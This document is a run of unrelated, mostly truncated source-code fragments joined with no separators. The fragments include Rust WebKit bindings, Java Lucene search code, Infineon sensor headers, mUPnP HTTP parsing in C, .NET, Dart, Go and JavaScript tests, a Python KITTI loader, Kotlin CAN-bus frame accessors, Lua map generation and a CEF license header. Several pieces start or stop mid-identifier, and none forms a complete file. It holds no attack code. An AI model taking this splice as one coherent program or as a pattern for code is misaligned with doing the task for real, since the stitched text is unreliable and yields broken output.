/#[cfg(any(feature = "v2_22", feature = "dox"))]
    //#[cfg_attr(feature = "dox", doc(cfg(feature = "v2_22")))]
    //#[doc(alias = "webkit_frame_get_js_value_for_dom_object_in_script_world")]
    //#[doc(alias = "get_js_value_for_dom_object_in_script_world")]
    //fn js_value_for_dom_object_in_script_world(&self, dom_object: &impl IsA<DOMObject>, world: &impl IsA<ScriptWorld>) -> /*Ignored*/Option<java_script_core::Value>;

    #[cfg(any(feature = "v2_2", feature = "dox"))]
    #[cfg_attr(feature = "dox", doc(cfg(feature = "v2_2")))]
    #[doc(alias = "webkit_frame_get_uri")]
    #[doc(alias = "get_uri")]
    fn uri(&self) -> Option<glib::GString>;

    #[cfg(any(feature = "v2_2", feature = "dox"))]
    #[cfg_attr(feature = "dox", doc(cfg(feature = "v2_2")))]
    #[doc(alias = "webkit_frame_is_main_frame")]
    fn is_main_frame(&self) -> bool;
}

impl<O: IsA<Frame>> FrameExt for O {
    #[cfg(any(feature = "v2_26", feature = "dox"))]
    #[cfg_attr(feature = "dox", doc(cfg(feature = "v2_26")))]
    fn id(&self) -> u64 {
        unsafe { ffi::webkit_frame_get_id(self.as_ref().to_glib_none().0) }
    }

    //#[cfg(any(feature = "v2_2", feature = "dox"))]
    //#[cfg_attr(feature = "dox", doc(cfg(feature = "v2_2")))]
    //fn javascript_context_for_script_world(&self, world: &impl IsA<ScriptWorld>) -> /*Ignored*/Option<java_script_core::GlobalContextRef> {
    //    unsafe { TODO: call ffi:webkit_frame_get_javascript_context_for_script_world() }
    //}

    //#[cfg(any(feature = "v2_2", feature = "dox"))]
    //#[cfg_attr(feature = "dox", doc(cfg(feature = "v2_2")))]
    //fn javascript_global_context(&self) -> /*Ignored*/Option<java_script_core::GlobalContextRef> {
    //    unsafe { TODO: call ffi:webkit_frame_get_javascript_global_context() }
    //}

    //#[cfg(any(feature = "v2_22", feature = "dox"))]
    //#[cfg_attr(feature = "dox", doc(cfg(feature = "v2_22")))]
    //fn js_context(&self) -> /*Ignored*/Option<java_script_core::Context> {
    //    unsafe { TODO: call ffi:webkit_frame_get_js_context() }
    //}

    //#[cfg(any(feature = "v2_22", feature = "dox"))]
    //#[cfg_attr(feature = "dox", doc(cfg(feature = "v2_22")))]
    //fn js_context_for_script_world(&self, world: &impl IsA<ScriptWorld>) -> /*Ignored*/Option<java_script_core::Context> {
    //    unsafe { TODO: call ffi:webkit_frame_get_js_context_for_script_world() }
    //}

    //#[cfg(any(feature = "v2_22", feature = "dox"))]
    //#[cfg_attr(feature = "dox", doc(cfg(feature = "v2_22")))]
    //fn js_value_for_dom_object(&self, dom_object: &impl Is


);

    if (log.isWarnEnabled()) {
      log.warn("search cost time : " + (
        System.currentTimeMillis() - pretime));
      pretime = System.currentTimeMillis();
    }

    ProductMasterResult pr = null;

    pr = ResultBuilder.getProductMasterResult(pagination);

    return pr;
  }

  public Counter[] getProductBrandCounts(String keyword, int prso_id, int prbr_id, float min_price, float max_price, boolean searchlogic)
  {
    Counter[] counters = (Counter[])null;

    long pretime = System.currentTimeMillis();

    keyword = StringHelper.getRealString(keyword);

    if (min_price < 0.0F) {
      min_price = 0.0F;
    }
    if (min_price > 9999999.0F) {
      min_price = 9999999.0F;
    }
    if ((min_price > 0.0F) && (max_price == 0.0F)) {
      max_price = 9999999.0F;
    }
    if (max_price < min_price) {
      max_price = min_price;
    }

    pretime = System.currentTimeMillis();

    if ((!"".equals(keyword)) && (keyword.length() > 0)) {
      keyword = d9lietu.getNormalSegResultWithLogic(
        toLowerCase(keyword), searchlogic);
    }
    if (log.isWarnEnabled()) {
      log.warn("seg word : " + keyword);
      log.warn("seg word cost time : " + (
        System.currentTimeMillis() - pretime));
      pretime = System.currentTimeMillis();
    }

    AbstractSearcher searcher = null;

    String indexPath = null;

    indexPath = Environment.getProductMasterMain_Index_Dir();

    searcher = ProductMasterSearcher.getInstance();

    BooleanQuery query = new BooleanQuery();
    BooleanQuery.setMaxClauseCount(999999999);

    if (!"".equals(keyword)) {
      Query keywordQuery = QueryBuilder.createQuery(
        getFieldNames(1), keyword);
      query.add(keywordQuery, BooleanClause.Occur.MUST);
    }

    if (prso_id > -1) {
      Query keywordQuery = QueryBuilder.createQuery(new String[] { "prso_id_one", "prso_id_two", "prso_id" }, String.valueOf(prso_id));
      query.add(keywordQuery, BooleanClause.Occur.MUST);
    }

    if (prbr_id > 0) {
      Query prbrQuery = QueryBuilder.createQuery(getFieldNames(3),
        String.valueOf(prbr_id));
      query.add(prbrQuery, BooleanClause.Occur.MUST);
    }

    if ((min_price > 0.0F) || (max_price > 0.0F)) {
      Term begin_price = new Term("min_price",
        StringHelper.floatToString(min_price));
      Term end_price = new Term("min_price",
        StringHelper.floatToString(max_price));

      RangeQuery priceQuery = new RangeQuery(begin_price, end_price, true);
      query.add(priceQuery, BooleanClause.Occur.MUST);
    }

    Term begin_mcount = new Term("merchant_count", "0");
    Term end_mcount = new Term("merchant_count", "99999999");
    RangeQuery mcountQuery = new RangeQuery(begin_mcount, end_mcount, true);
    query.add(mcountQuery, BooleanClause.Occur.MUST);

    Sort sort = null;

    sort = new Sort(new SortField[] {
      new SortField("prso_id", 4, true),
      new SortField


= 0x00,  //!< \brief NO_ERROR = Safety word was OK
	SYSTEM_ERROR           = 0x01,  //!< \brief SYSTEM_ERROR = over/under voltage, VDD negative, GND off, ROM defect
	INTERFACE_ACCESS_ERROR = 0x02,  //!< \brief INTERFACE_ACCESS_ERROR = wrong address or wrong lock
	INVALID_ANGLE_ERROR    = 0x03,  //!< \brief INVALID_ANGLE_ERROR = NO_GMR_A = 1 or NO_GMR_XY = 1
	ANGLE_SPEED_ERROR      = 0x04,  //!< \brief ANGLE_SPEED_ERROR = combined error, angular speed calculation wrong
	CRC_ERROR              = 0xFF   //!< \brief CRC_ERROR = Cyclic Redundancy Check (CRC), which includes the STAT and RESP bits wrong
};

//!< \brief Set the UPDate bit high (read from update buffer) or low (read directly)
enum updTypes
{
	UPD_low  = 0x0000,              //!< \brief read normal registers
	UPD_high = 0x0400,              //!< \brief read update buffer registers
};

//!< \brief Switch on/off safety word generation
enum safetyTypes
{
	SAFE_low  = 0x0000,             //!< \brief switch of safety word generation
	SAFE_high = 0x0001,             //!< \brief switch on safety word generation
};
/**
 * @}
 */

#endif /* TLE5012B_UTIL_HPP *//**
 * @file        TLE5012-platf-wiced.hpp
 * @brief       TLE5012 Wiced Hardware Platforms
 * @date        October 2020
 * @copyright   Copyright (c) 2019-2020 Infineon Technologies AG
 *
 * SPDX-License-Identifier: MIT
 */

#ifndef TLE5012_PLATF_WICED_HPP_
#define TLE5012_PLATF_WICED_HPP_

#include "../../../config/tle5012-conf.hpp"

#if (TLE5012_FRAMEWORK == TLE5012_FRMWK_WICED)

/**
 * @class Tle5012Wiced
 *
 * @brief represents the TLE5012 base class
 *
 * This class provides a simple API for connecting the TLE5012 via SSC interface,
 * which is included into all flavours the TLE5012 sensor. This setup also
 * works with the Sens2Kit (Sensor including XMC1100 mcu), breakout board (only the Sensor
 * from the Sens2Kit) and bulk chip (read the section on how to connect the bulk chip via 3wire SPI).
 *
 * @addtogroup platfWiced
 * @{
 */

#include "../pal/TLE5012-pal-wiced.hpp"
#include <wiced.h>

// Support macros
//!< \brief Prints a binary number with leading zeros (Automatic Handling)
#define PRINTBIN(Num) for (uint32_t t = (1UL << ((sizeof(Num)*8)-1)); t; t >>= 1) WPRINT_APP_INFO(("%u ",(Num  & t ? 1 : 0) ));
//!< \brief Prints a binary number with leading zeros (Automatic Handling) with space
#define PRINTBINS(Num) for (uint32_t t = (1UL << ((sizeof(Num)*8)-1)); t; t >>= 1) WPRINT_APP_INFO((" %u ",(Num  & t ? 1 : 0) ));

/** @} */

#endif /** TLE5012_FRAMEWORK **/
#endif /** TLE5012_PLATF_WICED_HPP_ **//**
 * @file        gpio-wiced.hpp
 * @brief       WICED PAL for the GPIO
 * @date        May 2020
 * @copyright   Copyright (c) 2019-2020 Infineon Technologies AG
 *
 * SPDX-License-Identifier: MIT
 */

#include "gpio-wiced.hpp"

#if (TLE5


FSIZE];
  mUpnpStringTokenizer* strTok;
  char* token;
  ssize_t readLen;

  mupnp_log_debug_l4("Entering...\n");

  mupnp_http_response_clear(httpRes);

  readLen = mupnp_socket_readline(sock, lineBuf, sizeof(lineBuf));
  if (readLen <= 0)
    return false;

  strTok = mupnp_string_tokenizer_new(lineBuf, MUPNP_HTTP_STATUSLINE_DELIM);
  if (mupnp_string_tokenizer_hasmoretoken(strTok) == true)
    mupnp_http_response_setversion(httpRes, mupnp_string_tokenizer_nexttoken(strTok));
  if (mupnp_string_tokenizer_hasmoretoken(strTok) == true)
    mupnp_http_response_setstatuscode(httpRes, atoi(mupnp_string_tokenizer_nexttoken(strTok)));
  if (mupnp_string_tokenizer_hasmoretoken(strTok) == true) {
    token = mupnp_string_tokenizer_nextalltoken(strTok);
    mupnp_strrtrim(token, MUPNP_HTTP_STATUSLINE_DELIM, mupnp_strlen(MUPNP_HTTP_STATUSLINE_DELIM));
    mupnp_http_response_setreasonphrase(httpRes, token);
  }
  mupnp_string_tokenizer_delete(strTok);

  mupnp_http_packet_read((mUpnpHttpPacket*)httpRes, sock, onlyHeader, lineBuf, sizeof(lineBuf));

  mupnp_log_debug_l4("Leaving...\n");

  return true;
}

/****************************************
 * mupnp_http_response_copy
 ****************************************/

void mupnp_http_response_copy(mUpnpHttpResponse* destHttpRes, mUpnpHttpResponse* srcHttpRes)
{
  mupnp_log_debug_l4("Entering...\n");

  mupnp_http_response_setversion(destHttpRes, mupnp_http_response_getversion(srcHttpRes));
  mupnp_http_response_setstatuscode(destHttpRes, mupnp_http_response_getstatuscode(srcHttpRes));
  mupnp_http_response_setreasonphrase(destHttpRes, mupnp_http_response_getreasonphrase(srcHttpRes));

  mupnp_http_packet_copy((mUpnpHttpPacket*)destHttpRes, (mUpnpHttpPacket*)srcHttpRes);

  mupnp_log_debug_l4("Leaving...\n");
}

/****************************************
 * mupnp_http_response_print
 ****************************************/

void mupnp_http_response_print(mUpnpHttpResponse* httpRes)
{
  mupnp_log_debug_l4("Entering...\n");

  mupnp_log_debug_s("%s %d %s\n",
      mupnp_http_response_getversion(httpRes),
      mupnp_http_response_getstatuscode(httpRes),
      mupnp_http_response_getreasonphrase(httpRes));

  mupnp_http_packet_print((mUpnpHttpPacket*)httpRes);

  mupnp_log_debug_l4("Leaving...\n");
}


kker/modelbuilder/Vec3.html" title="class in unlekker.modelbuilder">Vec3 v)

set

public void set(float tx,
                float ty,
                float tz)

clamp

public void clamp(float minx,
                  float maxx,
                  float miny,
                  float maxy,
                  float minz,
                  float maxz)

abs

public void abs()

abs

public static Vec3 abs(Vec3 v)

toString

public java.lang.String toString()

Overrides:
toString in class java.lang.Object

toString

public java.lang.String toString(int precision)

add

public void add(Vec3 v)

add

public void add(float vx,
                float vy,
                float vz)

<


// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.

using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using Xunit;

using static System.Buffers.Binary.BinaryPrimitives;

namespace System.Buffers.Binary.Tests
{
    public class BinaryReaderUnitTests
    {
        [Fact]
        public void SpanRead()
        {
            UInt128 value; // [11 22 33 44 55 66 77 88, 99 AA BB CC DD EE FF 00]

            if (BitConverter.IsLittleEndian)
            {
                value = new UInt128(0x00FFEEDDCCBBAA99, 0x8877665544332211);
            }
            else
            {
                value = new UInt128(0x1122334455667788, 0x99AABBCCDDEEFF00);
            }

            Span<byte> span;
            unsafe
            {
                span = new Span<byte>(&value, sizeof(UInt128));
            }

            Assert.Equal<byte>(0x11, MemoryMarshal.Read<byte>(span));
            Assert.True(MemoryMarshal.TryRead(span, out byte byteValue));
            Assert.Equal(0x11, byteValue);

            Assert.Equal<sbyte>(0x11, MemoryMarshal.Read<sbyte>(span));
            Assert.True(MemoryMarshal.TryRead(span, out byte sbyteValue));
            Assert.Equal(0x11, byteValue);

            Assert.Equal<ushort>(0x1122, ReadUInt16BigEndian(span));
            Assert.True(TryReadUInt16BigEndian(span, out ushort ushortValue));
            Assert.Equal(0x1122, ushortValue);

            Assert.Equal<ushort>(0x2211, ReadUInt16LittleEndian(span));
            Assert.True(TryReadUInt16LittleEndian(span, out ushortValue));
            Assert.Equal(0x2211, ushortValue);

            Assert.Equal<short>(0x1122, ReadInt16BigEndian(span));
            Assert.True(TryReadInt16BigEndian(span, out short shortValue));
            Assert.Equal(0x1122, shortValue);

            Assert.Equal<short>(0x2211, ReadInt16LittleEndian(span));
            Assert.True(TryReadInt16LittleEndian(span, out shortValue));
            Assert.Equal(0x2211, ushortValue);

            Assert.Equal<uint>(0x11223344, ReadUInt32BigEndian(span));
            Assert.True(TryReadUInt32BigEndian(span, out uint uintValue));
            Assert.Equal<uint>(0x11223344, uintValue);

            Assert.Equal<uint>(0x44332211, ReadUInt32LittleEndian(span));
            Assert.True(TryReadUInt32LittleEndian(span, out uintValue));
            Assert.Equal<uint>(0x44332211, uintValue);

            Assert.Equal<int>(0x11223344, ReadInt32BigEndian(span));
            Assert.True(TryReadInt32BigEndian(span, out int intValue));
            Assert.Equal<int>(0x11223344, intValue);

            Assert.Equal<int>(0x44332211, ReadInt32LittleEndian(span));
            Assert.True(TryReadInt32LittleEndian(span, out intValue));
            Assert.Equal<int>(0x44332211, intValue);

            Assert.Equal<ulong>(0x1122334455667788, ReadUInt64BigEndian(span));
            Assert.True(TryReadUInt64BigEndian(span, out ulong ulongValue));
            Assert.Equal<ulong>(0x1122334455667788, ulongValue);

            Assert.Equal<ulong>(0x8877665544332211, ReadUInt64LittleEndian(span));
            Assert.True(TryReadUInt64LittleEndian(span, out ulongValue));


            [2, 3, 4, 5]
          ]));
    });

    test('Rest elements in map patterns', () {
      final code = '''
        main() {
          var map = {'a': 1, 'b': 2, 'c': 3};
          switch (map) {
            case {'a': var a, ...var rest}:
              return [a, rest];
            default:
              return "no match";
          }
        }
      ''';

      // This should now work with our implementation
      final result = execute(code);
      expect(
          result,
          equals([
            1,
            {'b': 2, 'c': 3}
          ]));
    });

    test('Object patterns with complex matching', () {
      final code = '''
        class Point {
          num x, y;
          Point(this.x, this.y);
        }

        main() {
          var point = Point(10, 20);
          switch (point) {
            case Point(x: var px, y: var py) when px > 5:
              return [px, py];
            default:
              return "no match";
          }
        }
      ''';

      // Object patterns with guards are not yet fully supported due to interpreter class limitations
      // For now, this should return "no match" due to field access limitations
      final result = execute(code);
      expect(result, equals("no match"));
    });
  });
}
import 'package:test/test.dart';
import 'package:d4rt/d4rt.dart';

void main() {
  group('Export Tests', () {
    test('Simple export: main imports B, B exports A', () {
      final Map<String, String> sources = {
        "d4rt-mem:/lib_A.dart": """
        String funcA() {
          return "Hello from funcA in lib_A";
        }
        String varA = "Variable A";
        """,
        "d4rt-mem:/lib_B.dart": """
        export 'lib_A.dart';
        String funcB() {
          return "Hello from funcB in lib_B";
        }
        """,
        "d4rt-mem:/main_export_test.dart": """
        import 'lib_B.dart';

        String main() {
          return funcA() + " | " + varA + " | " + funcB();
        }
        """,
      };

      final d4rt = D4rt();

      final result = d4rt.execute(
        library: "d4rt-mem:/main_export_test.dart",
        sources: sources,
      );
      expect(
          result,
          equals(
              "Hello from funcA in lib_A | Variable A | Hello from funcB in lib_B"));
    });

    test('Export with show: main imports B, B exports A show funcA, funcCommon',
        () {
      final Map<String, String> sources = {
        "d4rt-mem:/lib_A_common.dart": """
        String funcA() { return "funcA_val"; }
        String varA = "varA_val";
        String funcCommon() { return "funcCommon_val"; }
        """,
        "d4rt-mem:/lib_B_show.dart": """
        export 'lib_A_common.dart' show funcA, funcCommon;
        String funcB() { return "funcB_val"; }
        """,
        "d4rt-mem:/main_show_test.dart": """
        import 'lib_B_show.dart';

        String main() {
          String result = funcB();
          result += " | " + funcA();
          result += " | " + funcCommon();
          return result;
        }
        """,
      };
      final d4rt = D4rt();


stpkg": {
			"val": reflect.ValueOf(int64(11)),
		},
	}); err != nil {
		t.Fatal(err)
	}

	_, e := i.Eval(`import "testpkg"`)
	if e != nil {
		t.Fatal(e)
	}

	runTests(t, i, []testCase{
		{src: `a := "Hello"; a += " world"`, res: "Hello world"},
		{src: `b := "Hello"; b += 1`, err: "1:42: invalid operation: mismatched types string and untyped int"},
		{src: `c := "Hello"; c -= " world"`, err: "1:42: invalid operation: operator -= not defined on string"},
		{src: "e := 64.4; e %= 64", err: "1:39: invalid operation: operator %= not defined on float64"},
		{src: "f := int64(3.2)", err: "1:39: cannot convert expression of type untyped float to type int64"},
		{src: "g := 1; g <<= 8", res: "256"},
		{src: "h := 1; h >>= 8", res: "0"},
		{src: "i := 1; j := &i; (*j) = 2", res: "2"},
		{src: "i64 := testpkg.val; i64 == 11", res: "true"},
		{pre: func() { eval(t, i, "k := 1") }, src: `k := "Hello world"`, res: "Hello world"}, // allow reassignment in subsequent evaluations
		{src: "_ = _", err: "1:28: cannot use _ as value"},
		{src: "j := true || _", err: "1:33: cannot use _ as value"},
		{src: "j := true && _", err: "1:33: cannot use _ as value"},
		{src: "j := interface{}(int(1)); j.(_)", err: "1:54: cannot use _ as value"},
		{src: "ff := func() (a, b, c int) {return 1, 2, 3}; x, y, x := ff()", err: "1:73: x repeated on left side of :="},
		{src: "xx := 1; xx, _ := 2, 3", err: "1:37: no new variables on left side of :="},
		{src: "1 = 2", err: "1:28: cannot assign to 1 (untyped int constant)"},
	})
}

func TestEvalBuiltin(t *testing.T) {
	i := interp.New(interp.Options{})
	runTests(t, i, []testCase{
		{src: `a := []int{}; a = append(a, 1); a`, res: "[1]"},
		{src: `b := []int{1}; b = append(a, 2, 3); b`, res: "[1 2 3]"},
		{src: `c := []int{1}; d := []int{2, 3}; c = append(c, d...); c`, res: "[1 2 3]"},
		{src: `string(append([]byte("hello "), "world"...))`, res: "hello world"},
		{src: `e := "world"; string(append([]byte("hello "), e...))`, res: "hello world"},
		{src: `b := []int{1}; b = append(1, 2, 3); b`, err: "1:54: first argument to append must be slice; have untyped int"},
		{src: `a1 := []int{0,1,2}; append(a1)`, res: "[0 1 2]"},
		{src: `append(nil)`, err: "first argument to append must be slice; have nil"},
		{src: `g := len(a)`, res: "1"},
		{src: `g := cap(a)`, res: "1"},
		{src: `g := len("test")`, res: "4"},
		{src: `g := len(map[string]string{"a": "b


_fn": _closest_object_distance_pp,
        "num_classes": 5,
    },
    "closest_object_x_location": {
        "preprocess_fn": _closest_object_x_location_pp,
        "num_classes": 5,
    },
    "count_vehicles": {
        "preprocess_fn": _count_vehicles_pp,
        "num_classes": 4,
    },
    "closest_vehicle_distance": {
        "preprocess_fn": _closest_vehicle_distance_pp,
        "num_classes": 4,
    },
}

@Registry.register("data.kitti", "class")
class KittiData(base.ImageTfdsData):
  """Provides Kitti dataset.

  Six tasks are supported:
    1. Count the Nums of objects.
    2. Count the Nums of objects on the left hand side of the camera.
    3. Count the Nums of objects in the foreground.
    4. Count the Nums of objects in the background.
    5. Predict the distance of the closest object.
    6. Predict the x-location (w.r.t. the camera) of the closest object.
  """

  def __init__(self, task, data_dir=None):

    if task not in _TASK_DICT:
      raise ValueError("Unknown task: %s" % task)

    dataset_builder = tfds.builder("kitti:3.2.0", data_dir=data_dir)
    dataset_builder.download_and_prepare()

    tfds_splits = {
        "train": "train",
        "val": "validation",
        "trainval": "train+validation",
        "test": "test",
        "train800": "train[:800]",
        "val200": "validation[:200]",
        "train800val200": "train[:800]+validation[:200]",
    }

    # Example counts are retrieved from the tensorflow dataset info.
    train_count = dataset_builder.info.splits[tfds.Split.TRAIN].num_examples
    val_count = dataset_builder.info.splits[tfds.Split.VALIDATION].num_examples
    test_count = dataset_builder.info.splits[tfds.Split.TEST].num_examples
    # Creates a dict with example counts for each split.
    num_samples_splits = {
        "train": train_count,
        "val": val_count,
        "trainval": train_count + val_count,
        "test": test_count,
        "train800": 800,
        "val200": 200,
        "train800val200": 1000,
    }

    task = _TASK_DICT[task]
    base_preprocess_fn = task["preprocess_fn"]
    super(KittiData, self).__init__(
        dataset_builder=dataset_builder,
        tfds_splits=tfds_splits,
        num_samples_splits=num_samples_splits,
        num_preprocessing_threads=400,
        shuffle_buffer_size=10000,
        base_preprocess_fn=base_preprocess_fn,
        num_classes=task["num_classes"])


lverde',
            country: 'Spain',
            founded: 1899,
            logo: 'logo',
            stadium: 'Camp Nou',
            stadiumCapacity: 99354,
          });
        });
    });

    it('throws error with an appropraite status code on attempt to add an existing team', async () => {
      await request(app)
        .post('/api/v1/teams')
        .send(completeTeamInfo)
        .set('Accept', 'application/json')
        .set('authorization', `Bearer ${adminToken}`)
        .then(res => {
          expect(res.status).toBe(400);
          expect(res.body.error).toMatch('team already exists');
        });
    });
  });

  describe('Edit Team Route', () => {
    it('updates/edit team and returns an appropraite status code and the updated document', async () => {
      await request(app)
        .put(`/api/v1/teams/${teamId}`)
        .send({ clubCodeName: 'PSG', clubName: 'Paris Saint Germain' })
        .set('Accept', 'application/json')
        .set('authorization', `Bearer ${adminToken}`)
        .then(res => {
          expect(res.status).toBe(200);
          expect(res.body.success).toBeTruthy();
          expect(res.body.data).toEqual(
            expect.objectContaining({
              clubCodeName: 'PSG',
              clubName: 'Paris Saint Germain',
            }),
          );
        });
    });

    it('throws error with an appropraite status code if update/edit input value(s) violates validation constraints', async () => {
      await request(app)
        .put(`/api/v1/teams/${teamId}`)
        .send({ clubCodeName: 'PSG4', clubName: 'Paris Saint Germain' })
        .set('Accept', 'application/json')
        .set('authorization', `Bearer ${adminToken}`)
        .then(res => {
          expect(res.status).toBe(400);
          expect(res.body.error).toBeTruthy();
          expect(res.body.error).toMatch(
            'clubCodeName length must be 3 characters long',
          );
        });
    });

    it('throws error with an appropraite status code when trying to update/edit a deleted team', async () => {
      await request(app)
        .put('/api/v1/teams/5d6eb3bc764892764a0bd5ae')
        .send({ clubCodeName: 'PSG', clubName: 'Paris Saint Germain' })
        .set('Accept', 'application/json')
        .set('authorization', `Bearer ${adminToken}`)
        .then(res => {
          expect(res.status).toBe(400);
          expect(res.body.error).toBeTruthy();
        });
    });
  });

  describe('View All Teams Route', () => {
    it('returns all teams', async () => {
      await request(app)
        .get(`/api/v1/teams/`)
        .set('Accept', 'application/json')
        .set('authorization', `Bearer ${adminToken}`)
        .then(res => {
          expect(res.status).toBe(200);
          expect(res.body.success).toBeTruthy();
          expect(res.body.data).toEqual(
            expect.arrayContaining([
              expect.objectContaining({
                clubCodeName: 'PSG',
              }),
            ]),
          );
        });
    });
  });

  describe('Search Team Route', () => {
    it('should search for a team by clubCodeName and return teams that match without having to login', async () => {
      await request(app)
        .get('/api/v1/teams/search?clubName=P')
        .set('Accept', 'application/json')
        .then(res => {
          expect(res


ks>
        ///     <para>
        ///         Typically when we reached a limit for the current incident.
        ///     </para>
        /// </remarks>
        ProcessAndDiscard,

        /// <summary>
        ///     Report should not be processed at all.
        /// </summary>
        /// <remarks>
        ///     <para>
        ///         For instance when the report is received in an environment that should be ignored (like "Development").
        ///     </para>
        /// </remarks>
        DiscardReport
    }
}


 != CanCAddrs.MS_268h.addr) {
            throw IllegalArgumentException("CAN ID does not match object!")
        }
    }

	override fun toString() = """
		|Frame MS_268h (0x0268):
		|	target ratio, lower limit (FCVT): ${get_imin_ms()}
		|	target ratio, upper limit (FCVT): ${get_imax_ms()}
		|	Status of heating output: ${get_hzl_st()}
		|	shut-off valve cooling circuit M266 ATL: ${get_asv_kkl_169()}
		|	Oil info, reserved M266: ${get_oel_info_169()}
		|	Terminal 61: ${get_kl_61_ein()}
		|	Generator utilization (only with LIN generators!): ${get_last_gen()}
		|	Air control system mode: ${get_lrs_mode()}
		|	Request force-free in "D" (FCVT): ${get_kid_ms()}
		|	Max. Air conditioning compressor torque: ${get_m_komp_max()}
		|	pedal value driver (only 169): ${get_pw_f()}
	""".trimMargin("|")
}

@file:Suppress("unused", "FunctionName", "ClassName")
package com.rndash.mbheadunit.nativeCan.canC
import com.rndash.mbheadunit.CanFrame // AUTO GEN
import com.rndash.mbheadunit.nativeCan.CanBusNative // AUTO GEN

/**
 *   Generated by db_converter.py
 *   Object for SBW_232h (ID 0x0232)
**/

object SBW_232h {

    /**
     *  Returns the most recent Can Frame representing the state
     *  of SBW_232h
    **/
    fun get_frame() : CanFrame? = CanBusNative.getCFrame(CanCAddrs.SBW_232h)

	/** Gets Steering wheel buttons "+", "-" pressed **/
	fun get_lrt_pm3() : LRT_PM3 = when(CanBusNative.getECUParameterC(CanCAddrs.SBW_232h, 5, 3)) {
		 0 -> LRT_PM3.NBET
		 1 -> LRT_PM3.PLUS
		 2 -> LRT_PM3.MINUS
		 3 -> LRT_PM3.PLUS_MINUS
		 4 -> LRT_PM3.NOT_DEFINED
		 5 -> LRT_PM3.NOT_DEFINED_5
		 6 -> LRT_PM3.NOT_DEFINED_6
		 7 -> LRT_PM3.SNV
		 else -> throw Exception("Invalid raw value for LRT_PM3")
	}

	/** Sets Steering wheel buttons "+", "-" pressed **/
	fun set_lrt_pm3(f: CanFrame, p: LRT_PM3) {
		checkFrame(f)
		CanBusNative.setFrameParameter(f, 5, 3, p.raw)
	}

	/** Gets sender identification **/
	fun get_sid_sbw() : SID_SBW = when(CanBusNative.getECUParameterC(CanCAddrs.SBW_232h, 0, 2)) {
		 0 -> SID_SBW.EWM
		 1 -> SID_SBW.MRM
		 2 -> SID_SBW.NOT_DEFINED
		 3 -> SID_SBW.NOT_DEFINED_3
		 else -> throw Exception("Invalid raw value for SID_SBW")
	}

	/** Sets sender identification **/
	fun set_sid_sbw(f: CanFrame, p: SID_SBW) {
		checkFrame(f)
		CanBusNative.setFrameParameter(f, 0, 2, p.raw)
	}

	/** Gets Shift-by-wire control element Status RND **/
	fun get_sbwb_st_rnd() : SBWB_ST_RND = when(CanBusNative.getECUParameterC(CanCAddrs.SBW_232h, 12, 4)) {
		 0 -> SBWB_ST_RND.IDLE
		 1 -> SBWB_ST_RND.R
		 2 -> SBWB_S


+ 1, cx2 - 1, cy2 - 1, 1)
      else
        map:fill(cx1, cy1, cx2, cy2, 1)
      end
    end
  end

  local function compute_floor_sinks(SINK1, SINK2, R, AREA)
    -- sometimes make sink1 be liquid but sink2 be solid
    if area.liquid_mode == "some" and rand.odds(15) then
      SINK1.floor_dz  = -12
      SINK1.is_liquid = true

      SINK2.floor_dz  = -4
      SINK2.floor_mat = AREA.floor_mat
      return
    end

    -- sometimes make a completely liquid floor [ if non-damaging ]
    if area.liquid_mode == "heaps" and not LEVEL.liquid.damage and rand.odds(25) then
       AREA.is_liquid = true
      SINK1.is_liquid = true
      SINK2.is_liquid = true

      SINK1.floor_dz = 0
      SINK2.floor_dz = 0

      -- occasionally some islands
      if rand.odds(30) then
        SINK2.is_liquid = nil
        SINK2.floor_mat = assert(R.floor_mat)
        SINK2.floor_dz  = 8
      end

      return
    end

    SINK1.floor_dz  = -8
    SINK1.floor_mat = assert(R.alt_floor_mat)

    if area.liquid_mode == "heaps" then
      SINK1.is_liquid = true
    end

    -- when no liquid, often make a larger area of the alternate floor
    if area.liquid_mode == "none" and rand.odds(50) then
      SINK2.floor_dz  = SINK1.floor_dz
      SINK2.floor_mat = SINK1.floor_mat
      return
    end

    SINK2.floor_dz  = -16
    SINK2.floor_mat = AREA.floor_mat

    if area.liquid_mode != "none" then
      SINK2.is_liquid = true
    end

    -- when both sinks are liquid, synchronise floor heights
    if SINK1.is_liquid and SINK2.is_liquid then
      SINK1.floor_dz = -12
      SINK2.floor_dz = SINK1.floor_dz
    end
  end

  local function compute_ceiling_sinks(SINK1, SINK2, R, AREA)
    local bump1 = rand.pick({ 48,64,80,96 })
    local bump2 = rand.pick({ 48,64,80,96 })

    SINK1.ceil_dz  = bump1
    SINK2.ceil_dz  = bump1 + bump2

    SINK1.ceil_mat = assert(R.alt_ceil_mat)
    SINK2.ceil_mat = assert(R.ceil_mat)

    if rand.odds(10) then
      SINK1.ceil_mat, SINK2.ceil_mat = SINK2.ceil_mat, SINK1.ceil_mat
    end

    if area.sky_mode == "heaps" then
      SINK1.is_sky = true
    end

    if area.sky_mode != "none" then
      SINK2.is_sky = true

      -- no big need to synchronise skies (as per liquids)
    end
  end

  local function make_walkway()
    --
    -- We have one main area, always walkable.
    -- The indentation / liquid / sky bits are considered to be
    -- modifications of the main area.
    --

    assert(area.liquid_mode != "lake")

    local AREA =
    {
      neighbors = {}
      children  = {}

      floor_mat = R.floor_mat
       ceil_mat = R.ceil_mat
    }

    assert(AREA.floor_mat)
    assert(AREA.ceil_mat)

    table.insert(area.walk_floors, AREA)

---??  each WC in area.walk_rects do
---??    WC.cave_area = AREA


// Copyright (c) 2015 Marshall A. Greenblatt. All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
//    * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
//    * Redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following disclaimer
// in the documentation and/or other materials provided with the
// distribution.
//    * Neither the name of Google Inc. nor the name Chromium Embedded
// Framework nor the names of its contributors may be used to endorse
// or promote products derived from this software without specific prior
// written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
